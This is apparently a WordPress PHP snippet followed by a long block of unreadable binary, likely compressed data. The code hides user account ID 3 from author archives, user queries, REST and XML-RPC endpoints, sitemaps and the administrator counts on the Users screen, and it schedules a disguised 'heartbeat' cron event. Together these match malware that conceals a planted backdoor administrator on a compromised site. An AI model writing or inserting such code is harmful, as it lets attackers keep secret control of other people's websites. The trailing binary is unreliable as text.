add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 3;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 3 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 3;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 3;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 3;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 3;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
‹ í}kwÛ¶²èçfýu%¶vE½_–#g'N²›{ò:±Óž³-Š„$&É’”e5õZ÷oÜ¿wÉ�€$HQm+m÷¾M…ƒ™Á`fð ðèþ³·§çÿýî9›…sûäþ2[w¦Ãw´g%fØzKŽ«}J ÀuóäÑœ‡:3fºðpXúpþBë—X-Jw��;�¾´Ìp64ù¥ep�^*Ìr¬ÐÒm-0t›Õz…Í!m¾˜§’ô«lÒ"à>½ëcHrÜsô9–.-¾ô\?ÚlËùÂ|nKžïN,›—ØÌç“ai†^0¨Õ¦soZuýiíjâÔ
"Y)d9Ó±n|É–Z8¡¯ëµÂªáÎkWsÛ÷Œª7ó2(‚peó`Æy¸ÉÒÓ¤¤j†nÌx
å0YÕÌV½=®APbsnZú°¤Û6Öó·{�B+´ùÉ;`wâÚ–Ë4ö!ÁË^ž?ª ÑB@¾;vC@7‹å˜üªÂ ƒí.“fÐS×�ÚJl*@�£Žåy<h
ñnÍõ)×<ŸcslÝŸr‘qi™Ü�3´F¶¾1
ýÛÖ–4�¡;®c�ín/’q-¡´Êã~¸–ÜéÀvQ7º¹3Âþ’®<T÷CËÀÂùÀØ„
ôææÞ€`áÛJñ;ðX!a;)èvS ¹x‹±mAgð3Ä -Ëå²:,c×ýB¤¤ˆÛ†tîšÖÄâæ(´Rd5ëͺVïÀÿç�Î Ó4z?Ôëƒz=«páÒ
CîÝ7•òÁb>×ýÕˆ”iD
¶±¤ÏõÐU¹úÇòÓåPš[±G�á[^ÈP]€eϳAYCËuj¶ùÃçÀubs¼rõ s8ãs]›úº7+�|-ýƒ�_…¥AÜê�^©Rú‡€|PRÉAé?ÕëWª!,S)¼®2ß»ixRŽAV)*%TÁmx $€¢O ¦ RTT8Ë B¸™o$$ö~0£Â_OwVµfû¨ßnv›5Ý«[ËY¹‹p1æ¢ÄLwn×>œþÇû7«1ýèOÏ^¼1ŸœÿÜyÿy©•íœCÑE¥d»S·4Häþ5ìíø37Â"b§â°�¯À7/P9ÒAï–µâhžíêfPkÖGµz»¦´ÛèåùèÔ2za9º=:µ|ènUÏA½!ß]4êõ°ËéTìè^Ý#MXS�k –:ò\ˆ»ëëJ"žŸùø»KÑ,ù8 ”NêëëûÙõÍw>ösŒÀä¢
Žþƒs ¨ƒÏÆ‹Àr:Ð'œM|wÎNWcîü‹&Ʈé^¢ò\lˆ‹ž¢r¥‡žqÝ7f2£R
Ñ@…[Ñ?†_*5}œ�‚Ð>®¡ð/î¯4ËñˆÁç¿,,Ÿ›ÂN—(]_äª\¦¡ÞaÞî†J¼
6™'
íj2ÅEÅ�·Å¹Á;po'…š!RhSù;Ù†XJõ'íAëhÐèJ"`_K?”M»ž
v[k¿‡øz?“ÐÅ5þ÷¨&”ÜIù˜N€aÑ„‡Æì@?µÚÌBP!ŸîY"E|Ö\w@„—˜Â{ísðØ2‡žh�f³ÑèÖ;Œ[(™®=X9€d¢Û0F‰Kobh>‡0Ù�3ÇèûkŸõK]ÐPbTúDÑ`ìùÉ¥î3>]r? ³!;èUÍjãà˜˜—Ù(³/#½Dè/x*×q% ÄT�@"‹ÓOiZŠý,ô ùçÉ?S]“ ZZ�•öâø½ÔþÎ^,êc,t™ÉCpÂÌõB°„àùi¤°¿×xAŽFØZçH,÷_oüí"<,³¯¢Š‰ë³C$–0@fýX>>Ré¯ÚÜ™†3™÷Ãqùï¬ ;4]c�*êá~±x•€ÞN)í‚ýÀ†(σ2;aZ#Áó�ÏÃ…ï(Âþî»ë{òŸ{*µ¯ ¹ŽeóLTŨ]Ðÿ]ጣ€4� Œñ++ ãÉ ‰ß(¢ýÉh )îòãº8.RÚ%ùM˜z+‰�›skó´»×¦Í4+`ØÒ Ç [ür0<Ÿ-*¬Õ`ϸÁšõ£#Öl
:Gð?ûp~zÌ<=œ
kÇw‘
¶ÛÁÀ&Þ˜l8Rw'lª9$bˆ„å$ú.W~™
£Ž(¢½y¥¯È0¬%ýöûuX™ùüJ7Â×B#x¶ÐmY”–D̸
£Å`À¾^Ën
%éú8f;eœÖ™=‹(Rx�©¬z‹`vNš7HøÍE%é=DñV(æª@Â�¤íÀý¼Œï’Ddú:éÜJɦ€…®‚ ÃS]äêÐYØv…±™‰Üj� R–~ …”J2Öy� žc[ÎE[Ž šÆá‰Y]èÇ(Ý$´ãte׌ƒE»-¿#™nµƒÏÁÀ—Ðq°iǹP,"àÀéØ8‡1²ÌªùæÙëÕ>Po¬¨¤_g9YCC¸‰5ÜYǾ–À@üìì�ˆºtÍRødB| ûâãê0ÖWE×ÁvFñOÌK2Rጽ
¡1º°`q‘msB•dj‘Ñ%¬S�鎉ÄèQG¦Ñyh�-Û
W,˜YójRͯãºÞƒ„